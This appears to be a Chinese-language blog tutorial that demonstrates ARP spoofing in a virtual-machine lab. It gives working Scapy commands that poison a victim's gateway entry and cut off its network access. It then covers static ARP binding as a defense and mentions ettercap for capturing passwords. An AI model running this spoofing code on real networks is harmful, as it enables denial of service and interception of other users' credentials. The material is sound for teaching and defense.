ARP攻防
ARP官方释意:地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址(MAC);收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
实验环境:
Linux parrot(攻击系统)
Linux centos(被攻击系统)
实验语言:python
Arp协议是网络不可缺少的一部分,由于arp协议存在一些不可修复的漏洞所以骇客也经常利用这个漏洞进行局域网攻击。攻击大致分为两种。(1)纯粹的网络攻击,迫使受害者无法使用网络 (2)目的性攻击,arp欺骗获取局域网使用者的信息,盗取账号密码等敏感信息。
笔者的电脑是接入寝室网络的,本来想使用真实电脑作为攻击目标,鉴于室友正在使用,转移到虚拟机进行实验。
搭建实验环境
我们可以看到终端显示的信息(网关一般是默认的)
攻击系统 | 被攻击者 | 网关 | |
---|---|---|---|
IP | 192.168.163.146 | 192.168.163.150 | 192.168.163.2 |
MAC | 00:0c:29:41:75:aa | 00:0c:29:0b:09:89 | 00:50:56:e8:69:57 |
网络测试依次使用两台机器ping百度显示信息如下
此信息说明可以连接外网,证明目前可以上网
使用攻击系统扫描本网段的信息,使用到的工具fping
扫描到目标IP使用arp -a命令确认一下信息如下:
确认无误,局域网中默认网关以1结尾,所以我们展开192.168.163.1和192.
168.163.150之间的攻击。
使用python的scapy模块,编写对应的ARP包进行发送,由于scapy有独立的交互模式,我们就直接在终端中进行编程。注意这里要进入root权限
核心源代码如下:
>>> a = ARP()
>>> a.show()
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= who-has
hwsrc= 00:0c:29:41:75:aa
psrc= 192.168.163.146
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> a.psrc = ‘192.168.163.2’
>>> a.pdst = ‘192.168.163.150’
>>> send(a,loop=1)
正在攻击目标
验证
Ping百度没有反应,网关mac地址也被修改为攻击机的MAC地址
简单ARP防御措施
Windows:将网关MAC地址改为静态,首先获取网关IP地址所对应的MAC地址,同时需要确保此时的网关的MAC地址是正确的。打开桌面上的“开始”–>“运行”,在对话框中输入cmd或者command, 确定后在弹出的黑色框中输入" arp -a " 获取网关IP地址和对应的物理地址:
执行绑定命令: " arp -s 网关的IP地址 网关的MAC地址 "
Linux: 同理**arp -s 192.168.100.83 00:15:58:A2:13:D0****
公共场合防御:尽量少连接陌生wifi,对于公共wifi的arp欺骗目前还没有深入研究过,防御措施还等待大家去探索。
拓展
kali等一些专用的渗透系统里自带了ettercap,这是一个专门用于ARP攻击的软件,有大量的功能,包括上网者的账号密码获取,在这个领域里有大量的内容等着我们去探索